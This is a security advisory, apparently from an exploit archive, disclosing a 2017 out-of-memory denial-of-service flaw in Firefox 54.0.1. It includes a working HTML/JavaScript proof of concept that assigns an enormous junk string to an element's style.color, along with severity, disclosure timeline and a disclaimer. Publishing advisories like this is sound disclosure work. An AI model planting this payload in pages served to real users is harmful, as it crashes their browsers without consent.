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Firefox 54.0.1 Denial Of Service

Firefox 54.0.1 Denial Of Service
Posted Jul 7, 2017
Authored by hyp3rlinx | Site hyp3rlinx.altervista.org

Firefox version 54.0.1 suffers from a denial of service vulnerability.

tags | exploit, denial of service
MD5 | 9e6dbc8b2122d425a1c5d8b9e352ef36

Firefox 54.0.1 Denial Of Service

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[+] Credits: John Page aka hyp3rlinx  
[+] Website: hyp3rlinx.altervista.org
[+] Source: http://hyp3rlinx.altervista.org/advisories/FIREFOX-v54.0.1-DENIAL-OF-SERVICE.txt
[+] ISR: ApparitionSec



Vendor:
===============
www.mozilla.org



Product:
===============
Firefox v54.0.1



Vulnerability Type:
===================
Denial Of Service



Security Issue:
================
Dynamically creating HTML elements IMG,FORM,DIV,P,A,H2,IFRAME,TABLE,TEXTAREA and assigning very long string of junk chars to the
"style.color" property results in Firefox Browser out of memory crash (not tab crash).

Tested on Windows 7

References:
https://bugzilla.mozilla.org/show_bug.cgi?id=1376692#a465096_417288


Exploit/POC:
=============
<html>
<body>
<script>

var p1 = "\x41";
for (var c=0;c<0xC350;c++){
p1+="\x41";
}
var p2="\x41";
for (c=0;c<0x1388;c++){
p2 += p1;
}
var el = document.createElement('img') //FORM,DIV,P,A,H2,IFRAME,TABLE,TEXTAREA //<=== OR any of these elements.
el.style.color=p2
document.body.appendChild(el)

</script>
</body>

</html>


Network Access:
===============
Remote



Severity:
=========
Medium




Disclosure Timeline:
=============================
Vendor Notification: June 27, 2017
July 7, 2017 : Public Disclosure



[+] Disclaimer
The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise.
Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and
that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit
is given to the author. The author is not responsible for any misuse of the information contained herein and accepts no responsibility
for any damage caused by the use or misuse of this information. The author prohibits any malicious use of security related information
or exploits by the author or elsewhere. All content (c).

hyp3rlinx
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